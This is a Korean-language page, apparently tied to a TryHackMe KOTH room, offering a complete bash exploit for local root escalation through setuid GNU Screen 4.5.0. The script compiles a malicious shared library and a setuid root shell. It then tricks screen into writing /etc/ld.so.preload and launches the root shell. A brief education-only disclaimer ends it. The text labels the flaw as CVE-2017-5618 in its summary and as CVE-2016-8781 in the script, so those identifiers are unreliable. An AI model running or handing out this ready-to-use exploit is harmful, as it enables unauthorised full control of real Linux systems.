
GNU Screen 4.5.0용 로컬 권한 상승 익스플로잇 (CVE-2017-5618). 로깅 기능의 취약점을 악용하여 공유 라이브러리 로딩을 가로채고 ld.so.preload 조작을 통해 루트 액세스를 얻습니다. 취약 버전: Screen 4.5.0 (SUID) 수정 버전: Screen 4.6.0+
GNU Screen 4.5.0의 로컬 권한 상승 익스플로잇으로, ld.so.preload 조작을 통해 공유 라이브러리 로딩을 가로채 루트 액세스를 획득합니다.
취약점: CVE-2017-5618
유형: ld.so.preload를 통한 공유 라이브러리 하이재킹
영향: GNU Screen 4.5.0 독점
수정: GNU Screen 4.6.0+
CVE: 2017-5618 🎯
버그: Screen 4.5.0이 위험한 권한으로 로그 파일을 생성합니다
마법: 우리는 Screen이 /etc/ld.so.preload 파일을 생성하도록 속여 악성 라이브러리를 로드하게 만듭니다
페이로드: 즉시 루트 쉘 확보! 🐚
#!/bin/bash
# exploit.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# CVE-2016-8781
# tested on debian jessie (8.6) with screen 4.5.
# 0xHackers - Darke
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
echo "[+] Triggering..."
screen -ls
/tmp/rootshell
취약한 Screen 버전 확인 중.

파일 생성 및 필요한 권한 부여.

루트 액세스 획득.

루트 쉘 획득 - 전체 시스템 제어
교육 목적으로만 사용하세요! ⚠️ 스크립트 키디가 되지 마세요 - 소유한 시스템이나 명시적 허가를 받은 시스템에서만 사용하세요.
TryHackMe KOTH Room - Food